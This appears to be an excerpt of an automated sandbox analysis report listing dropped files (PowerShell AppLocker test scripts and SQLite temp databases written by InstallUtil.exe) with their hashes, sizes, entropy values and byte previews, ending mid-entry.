SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rgvd3sxk.ceb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yof40a4m.tmj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp121E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp121F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1240.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1241.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1261.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1262.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp24F6.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2506.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2517.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2527.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2548.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2558.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp49EE.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp49FE.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4A0F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4A20.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4A40.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5A83.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp814F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp817E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp819F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB87F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB88F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB8AF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB8B0.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
